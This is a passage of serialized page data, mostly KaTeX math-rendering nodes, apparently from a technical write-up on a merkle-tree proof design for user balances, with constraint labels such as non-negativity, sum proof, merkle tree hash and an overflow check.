"className":91285},[1439,19043],[91287],{"type":24,"value":53887},{"type":19,"tag":168,"props":91289,"children":91291},{"className":91290},[1439,19043],[91292],{"type":24,"value":90794},{"type":19,"tag":168,"props":91294,"children":91296},{"className":91295},[1439,19043],[91297],{"type":24,"value":48616},{"type":19,"tag":168,"props":91299,"children":91301},{"className":91300},[19194],[91302],{"type":24,"value":12858},{"type":19,"tag":168,"props":91304,"children":91306},{"className":91305,"style":1521},[1520],[],{"type":19,"tag":168,"props":91308,"children":91310},{"className":91309},[1526],[91311],{"type":24,"value":1529},{"type":19,"tag":168,"props":91313,"children":91315},{"className":91314,"style":1521},[1520],[],{"type":19,"tag":168,"props":91317,"children":91319},{"className":91318},[1428],[91320,91324,91329,91334,91339,91344,91349,91355,91360,91366,91371,91376,91381,91386,91391,91396,91401,91406],{"type":19,"tag":168,"props":91321,"children":91323},{"className":91322,"style":90477},[1433],[],{"type":19,"tag":168,"props":91325,"children":91327},{"className":91326},[1439,19043],[91328],{"type":24,"value":269},{"type":19,"tag":168,"props":91330,"children":91332},{"className":91331},[1439,19043],[91333],{"type":24,"value":90526},{"type":19,"tag":168,"props":91335,"children":91337},{"className":91336},[1439,19043],[91338],{"type":24,"value":19185},{"type":19,"tag":168,"props":91340,"children":91342},{"className":91341,"style":90535},[1439],[91343],{"type":24,"value":476},{"type":19,"tag":168,"props":91345,"children":91347},{"className":91346},[1439,19043],[91348],{"type":24,"value":20},{"type":19,"tag":168,"props":91350,"children":91352},{"className":91351,"style":90535},[1439,19043],[91353],{"type":24,"value":91354},"r",{"type":19,"tag":168,"props":91356,"children":91358},{"className":91357},[1439,19043],[91359],{"type":24,"value":1157},{"type":19,"tag":168,"props":91361,"children":91363},{"className":91362},[1439,19043],[91364],{"type":24,"value":91365},"ces",{"type":19,"tag":168,"props":91367,"children":91369},{"className":91368},[19172],[91370],{"type":24,"value":1152},{"type":19,"tag":168,"props":91372,"children":91374},{"className":91373},[1439,19043],[91375],{"type":24,"value":269},{"type":19,"tag":168,"props":91377,"children":91379},{"className":91378},[1439,19043],[91380],{"type":24,"value":90526},{"type":19,"tag":168,"props":91382,"children":91384},{"className":91383},[1439,19043],[91385],{"type":24,"value":19185},{"type":19,"tag":168,"props":91387,"children":91389},{"className":91388,"style":90535},[1439],[91390],{"type":24,"value":476},{"type":19,"tag":168,"props":91392,"children":91394},{"className":91393},[1439,19043],[91395],{"type":24,"value":53887},{"type":19,"tag":168,"props":91397,"children":91399},{"className":91398},[1439,19043],[91400],{"type":24,"value":90794},{"type":19,"tag":168,"props":91402,"children":91404},{"className":91403},[1439,19043],[91405],{"type":24,"value":48616},{"type":19,"tag":168,"props":91407,"children":91409},{"className":91408},[19194],[91410],{"type":24,"value":12858},{"type":19,"tag":47,"props":91412,"children":91413},{},[91414,91573,91574],{"type":19,"tag":27,"props":91415,"children":91417},{"className":91416},[1411,1412],[91418],{"type":19,"tag":168,"props":91419,"children":91421},{"className":91420},[1417],[91422],{"type":19,"tag":168,"props":91423,"children":91425},{"className":91424,"ariaHidden":1423},[1422],[91426,91559],{"type":19,"tag":168,"props":91427,"children":91429},{"className":91428},[1428],[91430,91434,91439,91444,91449,91454,91459,91464,91469,91474,91479,91484,91489,91546,91550,91555],{"type":19,"tag":168,"props":91431,"children":91433},{"className":91432,"style":90980},[1433],[],{"type":19,"tag":168,"props":91435,"children":91437},{"className":91436},[1439,19043],[91438],{"type":24,"value":269},{"type":19,"tag":168,"props":91440,"children":91442},{"className":91441},[1439,19043],[91443],{"type":24,"value":90992},{"type":19,"tag":168,"props":91445,"children":91447},{"className":91446},[1439,19043],[91448],{"type":24,"value":90794},{"type":19,"tag":168,"props":91450,"children":91452},{"className":91451},[1439,19043],[91453],{"type":24,"value":53887},{"type":19,"tag":168,"props":91455,"children":91457},{"className":91456},[1439,19043],[91458],{"type":24,"value":19185},{"type":19,"tag":168,"props":91460,"children":91462},{"className":91461,"style":90535},[1439],[91463],{"type":24,"value":476},{"type":19,"tag":168,"props":91465,"children":91467},{"className":91466},[1439,19043],[91468],{"type":24,"value":48937},{"type":19,"tag":168,"props":91470,"children":91472},{"className":91471,"style":91021},[1439,19043],[91473],{"type":24,"value":91024},{"type":19,"tag":168,"props":91475,"children":91477},{"className":91476},[1439,19043],[91478],{"type":24,"value":90794},{"type":19,"tag":168,"props":91480,"children":91482},{"className":91481},[1439,19043],[91483],{"type":24,"value":1157},{"type":19,"tag":168,"props":91485,"children":91487},{"className":91486},[1439,19043],[91488],{"type":24,"value":19185},{"type":19,"tag":168,"props":91490,"children":91492},{"className":91491},[1439],[91493,91498],{"type":19,"tag":168,"props":91494,"children":91496},{"className":91495,"style":91021},[1439,19043],[91497],{"type":24,"value":510},{"type":19,"tag":168,"props":91499,"children":91501},{"className":91500},[1456],[91502],{"type":19,"tag":168,"props":91503,"children":91505},{"className":91504},[1461,19097],[91506,91535],{"type":19,"tag":168,"props":91507,"children":91509},{"className":91508},[1466],[91510,91530],{"type":19,"tag":168,"props":91511,"children":91513},{"className":91512,"style":91064},[1471],[91514],{"type":19,"tag":168,"props":91515,"children":91516},{"style":91068},[91517,91521],{"type":19,"tag":168,"props":91518,"children":91520},{"className":91519,"style":1481},[1480],[],{"type":19,"tag":168,"props":91522,"children":91524},{"className":91523},[1486,1487,1488,1489],[91525],{"type":19,"tag":168,"props":91526,"children":91528},{"className":91527},[1439,19043,1489],[91529],{"type":24,"value":1157},{"type":19,"tag":168,"props":91531,"children":91533},{"className":91532},[19200],[91534],{"type":24,"value":19203},{"type":19,"tag":168,"props":91536,"children":91538},{"className":91537},[1466],[91539],{"type":19,"tag":168,"props":91540,"children":91542},{"className":91541,"style":90618},[1471],[91543],{"type":19,"tag":168,"props":91544,"children":91545},{},[],{"type":19,"tag":168,"props":91547,"children":91549},{"className":91548,"style":1618},[1520],[],{"type":19,"tag":168,"props":91551,"children":91553},{"className":91552},[1623],[91554],{"type":24,"value":7386},{"type":19,"tag":168,"props":91556,"children":91558},{"className":91557,"style":1618},[1520],[],{"type":19,"tag":168,"props":91560,"children":91562},{"className":91561},[1428],[91563,91568],{"type":19,"tag":168,"props":91564,"children":91567},{"className":91565,"style":91566},[1433],"height:0.6444em;",[],{"type":19,"tag":168,"props":91569,"children":91571},{"className":91570},[1439],[91572],{"type":24,"value":1452},{"type":24,"value":3893},{"type":19,"tag":51,"props":91575,"children":91576},{},[91577],{"type":24,"value":91578},"(non-negativity)",{"type":19,"tag":47,"props":91580,"children":91581},{},[91582,91920,91921],{"type":19,"tag":27,"props":91583,"children":91585},{"className":91584},[1411,1412],[91586],{"type":19,"tag":168,"props":91587,"children":91589},{"className":91588},[1417],[91590],{"type":19,"tag":168,"props":91591,"children":91593},{"className":91592,"ariaHidden":1423},[1422],[91594,91730],{"type":19,"tag":168,"props":91595,"children":91597},{"className":91596},[1428],[91598,91602,91607,91612,91617,91622,91627,91632,91637,91642,91647,91652,91657,91662,91667,91672,91677,91682,91687,91692,91697,91702,91707,91712,91717,91721,91726],{"type":19,"tag":168,"props":91599,"children":91601},{"className":91600,"style":90477},[1433],[],{"type":19,"tag":168,"props":91603,"children":91605},{"className":91604},[1439,19043],[91606],{"type":24,"value":19185},{"type":19,"tag":168,"props":91608,"children":91610},{"className":91609},[1439,19043],[91611],{"type":24,"value":90505},{"type":19,"tag":168,"props":91613,"children":91615},{"className":91614},[1439,19043],[91616],{"type":24,"value":19185},{"type":19,"tag":168,"props":91618,"children":91620},{"className":91619},[1439,19043],[91621],{"type":24,"value":269},{"type":19,"tag":168,"props":91623,"children":91625},{"className":91624,"style":90547},[1439,19043],[91626],{"type":24,"value":90550},{"type":19,"tag":168,"props":91628,"children":91630},{"className":91629,"style":90535},[1439],[91631],{"type":24,"value":476},{"type":19,"tag":168,"props":91633,"children":91635},{"className":91634},[1439,19043],[91636],{"type":24,"value":269},{"type":19,"tag":168,"props":91638,"children":91640},{"className":91639},[1439,19043],[91641],{"type":24,"value":90526},{"type":19,"tag":168,"props":91643,"children":91645},{"className":91644},[1439,19043],[91646],{"type":24,"value":19185},{"type":19,"tag":168,"props":91648,"children":91650},{"className":91649,"style":90535},[1439],[91651],{"type":24,"value":476},{"type":19,"tag":168,"props":91653,"children":91655},{"className":91654},[1439,19043],[91656],{"type":24,"value":90543},{"type":19,"tag":168,"props":91658,"children":91660},{"className":91659,"style":90547},[1439,19043],[91661],{"type":24,"value":90550},{"type":19,"tag":168,"props":91663,"children":91665},{"className":91664},[1439,19043],[91666],{"type":24,"value":90556},{"type":19,"tag":168,"props":91668,"children":91670},{"className":91669},[1439,19043],[91671],{"type":24,"value":90562},{"type":19,"tag":168,"props":91673,"children":91675},{"className":91674},[19172],[91676],{"type":24,"value":1152},{"type":19,"tag":168,"props":91678,"children":91680},{"className":91679},[1439,19043],[91681],{"type":24,"value":269},{"type":19,"tag":168,"props":91683,"children":91685},{"className":91684},[1439,19043],[91686],{"type":24,"value":90526},{"type":19,"tag":168,"props":91688,"children":91690},{"className":91689},[1439,19043],[91691],{"type":24,"value":19185},{"type":19,"tag":168,"props":91693,"children":91695},{"className":91694,"style":90535},[1439],[91696],{"type":24,"value":476},{"type":19,"tag":168,"props":91698,"children":91700},{"className":91699},[1439,19043],[91701],{"type":24,"value":53887},{"type":19,"tag":168,"props":91703,"children":91705},{"className":91704},[1439,19043],[91706],{"type":24,"value":90794},{"type":19,"tag":168,"props":91708,"children":91710},{"className":91709},[1439,19043],[91711],{"type":24,"value":48616},{"type":19,"tag":168,"props":91713,"children":91715},{"className":91714},[19194],[91716],{"type":24,"value":12858},{"type":19,"tag":168,"props":91718,"children":91720},{"className":91719,"style":1618},[1520],[],{"type":19,"tag":168,"props":91722,"children":91724},{"className":91723},[1623],[91725],{"type":24,"value":6013},{"type":19,"tag":168,"props":91727,"children":91729},{"className":91728,"style":1618},[1520],[],{"type":19,"tag":168,"props":91731,"children":91733},{"className":91732},[1428],[91734,91738,91743,91748,91753,91758,91763,91768,91773,91778,91783,91788,91793,91798,91803,91808,91813,91818,91875,91880,91885,91890,91895,91900,91905,91910,91915],{"type":19,"tag":168,"props":91735,"children":91737},{"className":91736,"style":90477},[1433],[],{"type":19,"tag":168,"props":91739,"children":91741},{"className":91740},[1439],[91742],{"type":24,"value":91125},{"type":19,"tag":168,"props":91744,"children":91746},{"className":91745},[1520],[91747],{"type":24,"value":19144},{"type":19,"tag":168,"props":91749,"children":91751},{"className":91750},[1439,19043],[91752],{"type":24,"value":269},{"type":19,"tag":168,"props":91754,"children":91756},{"className":91755},[1439,19043],[91757],{"type":24,"value":90992},{"type":19,"tag":168,"props":91759,"children":91761},{"className":91760},[1439,19043],[91762],{"type":24,"value":90794},{"type":19,"tag":168,"props":91764,"children":91766},{"className":91765},[1439,19043],[91767],{"type":24,"value":53887},{"type":19,"tag":168,"props":91769,"children":91771},{"className":91770},[1439,19043],[91772],{"type":24,"value":19185},{"type":19,"tag":168,"props":91774,"children":91776},{"className":91775,"style":90535},[1439],[91777],{"type":24,"value":476},{"type":19,"tag":168,"props":91779,"children":91781},{"className":91780},[1439,19043],[91782],{"type":24,"value":269},{"type":19,"tag":168,"props":91784,"children":91786},{"className":91785},[1439,19043],[91787],{"type":24,"value":90526},{"type":19,"tag":168,"props":91789,"children":91791},{"className":91790},[1439,19043],[91792],{"type":24,"value":19185},{"type":19,"tag":168,"props":91794,"children":91796},{"className":91795,"style":90535},[1439],[91797],{"type":24,"value":476},{"type":19,"tag":168,"props":91799,"children":91801},{"className":91800},[1439,19043],[91802],{"type":24,"value":90543},{"type":19,"tag":168,"props":91804,"children":91806},{"className":91805,"style":90547},[1439,19043],[91807],{"type":24,"value":90550},{"type":19,"tag":168,"props":91809,"children":91811},{"className":91810},[1439,19043],[91812],{"type":24,"value":90556},{"type":19,"tag":168,"props":91814,"children":91816},{"className":91815},[1439,19043],[91817],{"type":24,"value":90562},{"type":19,"tag":168,"props":91819,"children":91821},{"className":91820},[1439],[91822,91827],{"type":19,"tag":168,"props":91823,"children":91825},{"className":91824},[1439,19043],[91826],{"type":24,"value":8095},{"type":19,"tag":168,"props":91828,"children":91830},{"className":91829},[1456],[91831],{"type":19,"tag":168,"props":91832,"children":91834},{"className":91833},[1461,19097],[91835,91864],{"type":19,"tag":168,"props":91836,"children":91838},{"className":91837},[1466],[91839,91859],{"type":19,"tag":168,"props":91840,"children":91842},{"className":91841,"style":91064},[1471],[91843],{"type":19,"tag":168,"props":91844,"children":91845},{"style":90591},[91846,91850],{"type":19,"tag":168,"props":91847,"children":91849},{"className":91848,"style":1481},[1480],[],{"type":19,"tag":168,"props":91851,"children":91853},{"className":91852},[1486,1487,1488,1489],[91854],{"type":19,"tag":168,"props":91855,"children":91857},{"className":91856},[1439,19043,1489],[91858],{"type":24,"value":1157},{"type":19,"tag":168,"props":91860,"children":91862},{"className":91861},[19200],[91863],{"type":24,"value":19203},{"type":19,"tag":168,"props":91865,"children":91867},{"className":91866},[1466],[91868],{"type":19,"tag":168,"props":91869,"children":91871},{"className":91870,"style":90618},[1471],[91872],{"type":19,"tag":168,"props":91873,"children":91874},{},[],{"type":19,"tag":168,"props":91876,"children":91878},{"className":91877},[19172],[91879],{"type":24,"value":1152},{"type":19,"tag":168,"props":91881,"children":91883},{"className":91882},[1439,19043],[91884],{"type":24,"value":269},{"type":19,"tag":168,"props":91886,"children":91888},{"className":91887},[1439,19043],[91889],{"type":24,"value":90526},{"type":19,"tag":168,"props":91891,"children":91893},{"className":91892},[1439,19043],[91894],{"type":24,"value":19185},{"type":19,"tag":168,"props":91896,"children":91898},{"className":91897,"style":90535},[1439],[91899],{"type":24,"value":476},{"type":19,"tag":168,"props":91901,"children":91903},{"className":91902},[1439,19043],[91904],{"type":24,"value":53887},{"type":19,"tag":168,"props":91906,"children":91908},{"className":91907},[1439,19043],[91909],{"type":24,"value":90794},{"type":19,"tag":168,"props":91911,"children":91913},{"className":91912},[1439,19043],[91914],{"type":24,"value":48616},{"type":19,"tag":168,"props":91916,"children":91918},{"className":91917},[19194],[91919],{"type":24,"value":12858},{"type":24,"value":3893},{"type":19,"tag":51,"props":91922,"children":91923},{},[91924],{"type":24,"value":91925},"(sum proof)",{"type":19,"tag":47,"props":91927,"children":91928},{},[91929,92318,92319],{"type":19,"tag":27,"props":91930,"children":91932},{"className":91931},[1411,1412],[91933],{"type":19,"tag":168,"props":91934,"children":91936},{"className":91935},[1417],[91937],{"type":19,"tag":168,"props":91938,"children":91940},{"className":91939,"ariaHidden":1423},[1422],[91941,92027],{"type":19,"tag":168,"props":91942,"children":91944},{"className":91943},[1428],[91945,91950,91955,91961,91967,91972,91977,91982,91987,91993,91998,92004,92009,92014,92018,92023],{"type":19,"tag":168,"props":91946,"children":91949},{"className":91947,"style":91948},[1433],"height:1.0044em;vertical-align:-0.31em;",[],{"type":19,"tag":168,"props":91951,"children":91953},{"className":91952},[1439,19043],[91954],{"type":24,"value":48616},{"type":19,"tag":168,"props":91956,"children":91958},{"className":91957,"style":90535},[1439,19043],[91959],{"type":24,"value":91960},"er",{"type":19,"tag":168,"props":91962,"children":91965},{"className":91963,"style":91964},[1439,19043],"margin-right:0.03148em;",[91966],{"type":24,"value":86173},{"type":19,"tag":168,"props":91968,"children":91970},{"className":91969,"style":90547},[1439,19043],[91971],{"type":24,"value":90550},{"type":19,"tag":168,"props":91973,"children":91975},{"className":91974},[1439,19043],[91976],{"type":24,"value":48937},{"type":19,"tag":168,"props":91978,"children":91980},{"className":91979,"style":90535},[1439],[91981],{"type":24,"value":476},{"type":19,"tag":168,"props":91983,"children":91985},{"className":91984},[1439,19043],[91986],{"type":24,"value":19185},{"type":19,"tag":168,"props":91988,"children":91990},{"className":91989},[1439,19043],[91991],{"type":24,"value":91992},"ree",{"type":19,"tag":168,"props":91994,"children":91996},{"className":91995,"style":90535},[1439],[91997],{"type":24,"value":476},{"type":19,"tag":168,"props":91999,"children":92001},{"className":92000},[1439,19043],[92002],{"type":24,"value":92003},"ha",{"type":19,"tag":168,"props":92005,"children":92007},{"className":92006},[1439,19043],[92008],{"type":24,"value":8095},{"type":19,"tag":168,"props":92010,"children":92012},{"className":92011},[1439,19043],[92013],{"type":24,"value":81834},{"type":19,"tag":168,"props":92015,"children":92017},{"className":92016,"style":1618},[1520],[],{"type":19,"tag":168,"props":92019,"children":92021},{"className":92020},[1623],[92022],{"type":24,"value":6013},{"type":19,"tag":168,"props":92024,"children":92026},{"className":92025,"style":1618},[1520],[],{"type":19,"tag":168,"props":92028,"children":92030},{"className":92029},[1428],[92031,92035,92040,92045,92050,92055,92060,92065,92070,92075,92080,92137,92142,92146,92151,92156,92213,92218,92223,92227,92232,92237,92241,92246,92251,92313],{"type":19,"tag":168,"props":92032,"children":92034},{"className":92033,"style":1541},[1433],[],{"type":19,"tag":168,"props":92036,"children":92038},{"className":92037,"style":19044},[1439,19043],[92039],{"type":24,"value":19047},{"type":19,"tag":168,"props":92041,"children":92043},{"className":92042},[1439,19043],[92044],{"type":24,"value":90489},{"type":19,"tag":168,"props":92046,"children":92048},{"className":92047},[1439,19043],[92049],{"type":24,"value":1157},{"type":19,"tag":168,"props":92051,"children":92053},{"className":92052},[1439,19043],[92054],{"type":24,"value":68051},{"type":19,"tag":168,"props":92056,"children":92058},{"className":92057},[1439,19043],[92059],{"type":24,"value":90505},{"type":19,"tag":168,"props":92061,"children":92063},{"className":92062},[1439,19043],[92064],{"type":24,"value":53887},{"type":19,"tag":168,"props":92066,"children":92068},{"className":92067},[19172],[92069],{"type":24,"value":500},{"type":19,"tag":168,"props":92071,"children":92073},{"className":92072},[1439,19043],[92074],{"type":24,"value":92003},{"type":19,"tag":168,"props":92076,"children":92078},{"className":92077},[1439,19043],[92079],{"type":24,"value":8095},{"type":19,"tag":168,"props":92081,"children":92083},{"className":92082},[1439],[92084,92089],{"type":19,"tag":168,"props":92085,"children":92087},{"className":92086},[1439,19043],[92088],{"type":24,"value":81834},{"type":19,"tag":168,"props":92090,"children":92092},{"className":92091},[1456],[92093],{"type":19,"tag":168,"props":92094,"children":92096},{"className":92095},[1461,19097],[92097,92126],{"type":19,"tag":168,"props":92098,"children":92100},{"className":92099},[1466],[92101,92121],{"type":19,"tag":168,"props":92102,"children":92104},{"className":92103,"style":90587},[1471],[92105],{"type":19,"tag":168,"props":92106,"children":92107},{"style":90591},[92108,92112],{"type":19,"tag":168,"props":92109,"children":92111},{"className":92110,"style":1481},[1480],[],{"type":19,"tag":168,"props":92113,"children":92115},{"className":92114},[1486,1487,1488,1489],[92116],{"type":19,"tag":168,"props":92117,"children":92119},{"className":92118},[1439,1489],[92120],{"type":24,"value":1452},{"type":19,"tag":168,"props":92122,"children":92124},{"className":92123},[19200],[92125],{"type":24,"value":19203},{"type":19,"tag":168,"props":92127,"children":92129},{"className":92128},[1466],[92130],{"type":19,"tag":168,"props":92131,"children":92133},{"className":92132,"style":90618},[1471],[92134],{"type":19,"tag":168,"props":92135,"children":92136},{},[],{"type":19,"tag":168,"props":92138,"children":92140},{"className":92139},[1552],[92141],{"type":24,"value":1555},{"type":19,"tag":168,"props":92143,"children":92145},{"className":92144,"style":1559},[1520],[],{"type":19,"tag":168,"props":92147,"children":92149},{"className":92148},[1439,19043],[92150],{"type":24,"value":92003},{"type":19,"tag":168,"props":92152,"children":92154},{"className":92153},[1439,19043],[92155],{"type":24,"value":8095},{"type":19,"tag":168,"props":92157,"children":92159},{"className":92158},[1439],[92160,92165],{"type":19,"tag":168,"props":92161,"children":92163},{"className":92162},[1439,19043],[92164],{"type":24,"value":81834},{"type":19,"tag":168,"props":92166,"children":92168},{"className":92167},[1456],[92169],{"type":19,"tag":168,"props":92170,"children":92172},{"className":92171},[1461,19097],[92173,92202],{"type":19,"tag":168,"props":92174,"children":92176},{"className":92175},[1466],[92177,92197],{"type":19,"tag":168,"props":92178,"children":92180},{"className":92179,"style":90587},[1471],[92181],{"type":19,"tag":168,"props":92182,"children":92183},{"style":90591},[92184,92188],{"type":19,"tag":168,"props":92185,"children":92187},{"className":92186,"style":1481},[1480],[],{"type":19,"tag":168,"props":92189,"children":92191},{"className":92190},[1486,1487,1488,1489],[92192],{"type":19,"tag":168,"props":92193,"children":92195},{"className":92194},[1439,1489],[92196],{"type":24,"value":1442},{"type":19,"tag":168,"props":92198,"children":92200},{"className":92199},[19200],[92201],{"type":24,"value":19203},{"type":19,"tag":168,"props":92203,"children":92205},{"className":92204},[1466],[92206],{"type":19,"tag":168,"props":92207,"children":92209},{"className":92208,"style":90618},[1471],[92210],{"type":19,"tag":168,"props":92211,"children":92212},{},[],{"type":19,"tag":168,"props":92214,"children":92216},{"className":92215},[1552],[92217],{"type":24,"value":1555},{"type":19,"tag":168,"props":92219,"children":92221},{"className":92220},[1520],[92222],{"type":24,"value":19144},{"type":19,"tag":168,"props":92224,"children":92226},{"className":92225,"style":1559},[1520],[],{"type":19,"tag":168,"props":92228,"children":92230},{"className":92229},[1439],[92231],{"type":24,"value":7032},{"type":19,"tag":168,"props":92233,"children":92235},{"className":92234},[1552],[92236],{"type":24,"value":1555},{"type":19,"tag":168,"props":92238,"children":92240},{"className":92239,"style":1559},[1520],[],{"type":19,"tag":168,"props":92242,"children":92244},{"className":92243},[1439,19043],[92245],{"type":24,"value":92003},{"type":19,"tag":168,"props":92247,"children":92249},{"className":92248},[1439,19043],[92250],{"type":24,"value":8095},{"type":19,"tag":168,"props":92252,"children":92254},{"className":92253},[1439],[92255,92260],{"type":19,"tag":168,"props":92256,"children":92258},{"className":92257},[1439,19043],[92259],{"type":24,"value":81834},{"type":19,"tag":168,"props":92261,"children":92263},{"className":92262},[1456],[92264],{"type":19,"tag":168,"props":92265,"children":92267},{"className":92266},[1461,19097],[92268,92302],{"type":19,"tag":168,"props":92269,"children":92271},{"className":92270},[1466],[92272,92297],{"type":19,"tag":168,"props":92273,"children":92275},{"className":92274,"style":90587},[1471],[92276],{"type":19,"tag":168,"props":92277,"children":92278},{"style":90591},[92279,92283],{"type":19,"tag":168,"props":92280,"children":92282},{"className":92281,"style":1481},[1480],[],{"type":19,"tag":168,"props":92284,"children":92286},{"className":92285},[1486,1487,1488,1489],[92287],{"type":19,"tag":168,"props":92288,"children":92290},{"className":92289},[1439,1489],[92291],{"type":19,"tag":168,"props":92292,"children":92294},{"className":92293},[1439,1489],[92295],{"type":24,"value":92296},"511",{"type":19,"tag":168,"props":92298,"children":92300},{"className":92299},[19200],[92301],{"type":24,"value":19203},{"type":19,"tag":168,"props":92303,"children":92305},{"className":92304},[1466],[92306],{"type":19,"tag":168,"props":92307,"children":92309},{"className":92308,"style":90618},[1471],[92310],{"type":19,"tag":168,"props":92311,"children":92312},{},[],{"type":19,"tag":168,"props":92314,"children":92316},{"className":92315},[19194],[92317],{"type":24,"value":524},{"type":24,"value":3893},{"type":19,"tag":51,"props":92320,"children":92321},{},[92322],{"type":24,"value":92323},"(merkle tree hash)",{"type":19,"tag":47,"props":92325,"children":92326},{},[92327,92602,92603,92608,92610,92615],{"type":19,"tag":27,"props":92328,"children":92330},{"className":92329},[1411,1412],[92331],{"type":19,"tag":168,"props":92332,"children":92334},{"className":92333},[1417],[92335],{"type":19,"tag":168,"props":92336,"children":92338},{"className":92337,"ariaHidden":1423},[1422],[92339,92532],{"type":19,"tag":168,"props":92340,"children":92342},{"className":92341},[1428],[92343,92347,92352,92357,92362,92367,92372,92377,92382,92387,92392,92397,92402,92407,92412,92417,92474,92479,92484,92489,92494,92499,92504,92509,92514,92519,92523,92528],{"type":19,"tag":168,"props":92344,"children":92346},{"className":92345,"style":90477},[1433],[],{"type":19,"tag":168,"props":92348,"children":92350},{"className":92349},[1439,19043],[92351],{"type":24,"value":269},{"type":19,"tag":168,"props":92353,"children":92355},{"className":92354},[1439,19043],[92356],{"type":24,"value":90992},{"type":19,"tag":168,"props":92358,"children":92360},{"className":92359},[1439,19043],[92361],{"type":24,"value":90794},{"type":19,"tag":168,"props":92363,"children":92365},{"className":92364},[1439,19043],[92366],{"type":24,"value":53887},{"type":19,"tag":168,"props":92368,"children":92370},{"className":92369},[1439,19043],[92371],{"type":24,"value":19185},{"type":19,"tag":168,"props":92373,"children":92375},{"className":92374,"style":90535},[1439],[92376],{"type":24,"value":476},{"type":19,"tag":168,"props":92378,"children":92380},{"className":92379},[1439,19043],[92381],{"type":24,"value":269},{"type":19,"tag":168,"props":92383,"children":92385},{"className":92384},[1439,19043],[92386],{"type":24,"value":90526},{"type":19,"tag":168,"props":92388,"children":92390},{"className":92389},[1439,19043],[92391],{"type":24,"value":19185},{"type":19,"tag":168,"props":92393,"children":92395},{"className":92394,"style":90535},[1439],[92396],{"type":24,"value":476},{"type":19,"tag":168,"props":92398,"children":92400},{"className":92399},[1439,19043],[92401],{"type":24,"value":90543},{"type":19,"tag":168,"props":92403,"children":92405},{"className":92404,"style":90547},[1439,19043],[92406],{"type":24,"value":90550},{"type":19,"tag":168,"props":92408,"children":92410},{"className":92409},[1439,19043],[92411],{"type":24,"value":90556},{"type":19,"tag":168,"props":92413,"children":92415},{"className":92414},[1439,19043],[92416],{"type":24,"value":90562},{"type":19,"tag":168,"props":92418,"children":92420},{"className":92419},[1439],[92421,92426],{"type":19,"tag":168,"props":92422,"children":92424},{"className":92423},[1439,19043],[92425],{"type":24,"value":8095},{"type":19,"tag":168,"props":92427,"children":92429},{"className":92428},[1456],[92430],{"type":19,"tag":168,"props":92431,"children":92433},{"className":92432},[1461,19097],[92434,92463],{"type":19,"tag":168,"props":92435,"children":92437},{"className":92436},[1466],[92438,92458],{"type":19,"tag":168,"props":92439,"children":92441},{"className":92440,"style":91064},[1471],[92442],{"type":19,"tag":168,"props":92443,"children":92444},{"style":90591},[92445,92449],{"type":19,"tag":168,"props":92446,"children":92448},{"className":92447,"style":1481},[1480],[],{"type":19,"tag":168,"props":92450,"children":92452},{"className":92451},[1486,1487,1488,1489],[92453],{"type":19,"tag":168,"props":92454,"children":92456},{"className":92455},[1439,19043,1489],[92457],{"type":24,"value":1157},{"type":19,"tag":168,"props":92459,"children":92461},{"className":92460},[19200],[92462],{"type":24,"value":19203},{"type":19,"tag":168,"props":92464,"children":92466},{"className":92465},[1466],[92467],{"type":19,"tag":168,"props":92468,"children":92470},{"className":92469,"style":90618},[1471],[92471],{"type":19,"tag":168,"props":92472,"children":92473},{},[],{"type":19,"tag":168,"props":92475,"children":92477},{"className":92476},[19172],[92478],{"type":24,"value":1152},{"type":19,"tag":168,"props":92480,"children":92482},{"className":92481},[1439,19043],[92483],{"type":24,"value":269},{"type":19,"tag":168,"props":92485,"children":92487},{"className":92486},[1439,19043],[92488],{"type":24,"value":90526},{"type":19,"tag":168,"props":92490,"children":92492},{"className":92491},[1439,19043],[92493],{"type":24,"value":19185},{"type":19,"tag":168,"props":92495,"children":92497},{"className":92496,"style":90535},[1439],[92498],{"type":24,"value":476},{"type":19,"tag":168,"props":92500,"children":92502},{"className":92501},[1439,19043],[92503],{"type":24,"value":53887},{"type":19,"tag":168,"props":92505,"children":92507},{"className":92506},[1439,19043],[92508],{"type":24,"value":90794},{"type":19,"tag":168,"props":92510,"children":92512},{"className":92511},[1439,19043],[92513],{"type":24,"value":48616},{"type":19,"tag":168,"props":92515,"children":92517},{"className":92516},[19194],[92518],{"type":24,"value":12858},{"type":19,"tag":168,"props":92520,"children":92522},{"className":92521,"style":1618},[1520],[],{"type":19,"tag":168,"props":92524,"children":92526},{"className":92525},[1623],[92527],{"type":24,"value":3240},{"type":19,"tag":168,"props":92529,"children":92531},{"className":92530,"style":1618},[1520],[],{"type":19,"tag":168,"props":92533,"children":92535},{"className":92534},[1428],[92536,92540,92547,92552,92558,92563,92568,92573,92579,92584,92590,92596],{"type":19,"tag":168,"props":92537,"children":92539},{"className":92538,"style":90477},[1433],[],{"type":19,"tag":168,"props":92541,"children":92544},{"className":92542,"style":92543},[1439,19043],"margin-right:0.10903em;",[92545],{"type":24,"value":92546},"M",{"type":19,"tag":168,"props":92548,"children":92550},{"className":92549},[1439,19043],[92551],{"type":24,"value":74256},{"type":19,"tag":168,"props":92553,"children":92556},{"className":92554,"style":92555},[1439,19043],"margin-right:0.07847em;",[92557],{"type":24,"value":3568},{"type":19,"tag":168,"props":92559,"children":92561},{"className":92560,"style":90535},[1439],[92562],{"type":24,"value":476},{"type":19,"tag":168,"props":92564,"children":92566},{"className":92565,"style":19502},[1439,19043],[92567],{"type":24,"value":19505},{"type":19,"tag":168,"props":92569,"children":92571},{"className":92570},[1439,19043],[92572],{"type":24,"value":74256},{"type":19,"tag":168,"props":92574,"children":92576},{"className":92575,"style":19502},[1439,19043],[92577],{"type":24,"value":92578},"FE",{"type":19,"tag":168,"props":92580,"children":92582},{"className":92581,"style":90535},[1439],[92583],{"type":24,"value":476},{"type":19,"tag":168,"props":92585,"children":92587},{"className":92586,"style":92555},[1439,19043],[92588],{"type":24,"value":92589},"I",{"type":19,"tag":168,"props":92591,"children":92593},{"className":92592,"style":19044},[1439,19043],[92594],{"type":24,"value":92595},"NT",{"type":19,"tag":168,"props":92597,"children":92599},{"className":92598},[1439],[92600],{"type":24,"value":92601},"/512",{"type":24,"value":3893},{"type":19,"tag":51,"props":92604,"children":92605},{},[92606],{"type":24,"value":92607},"(overflow check)",{"type":24,"value":92609}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":19,"tag":27,"props":92611,"children":92613},{"className":92612},[],[92614],{"type":24,"value":90393},{"type":24,"value":524},{"type":19,"tag":20,"props":92617,"children":92618},{},[92619],{"type":24,"value":92620},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are 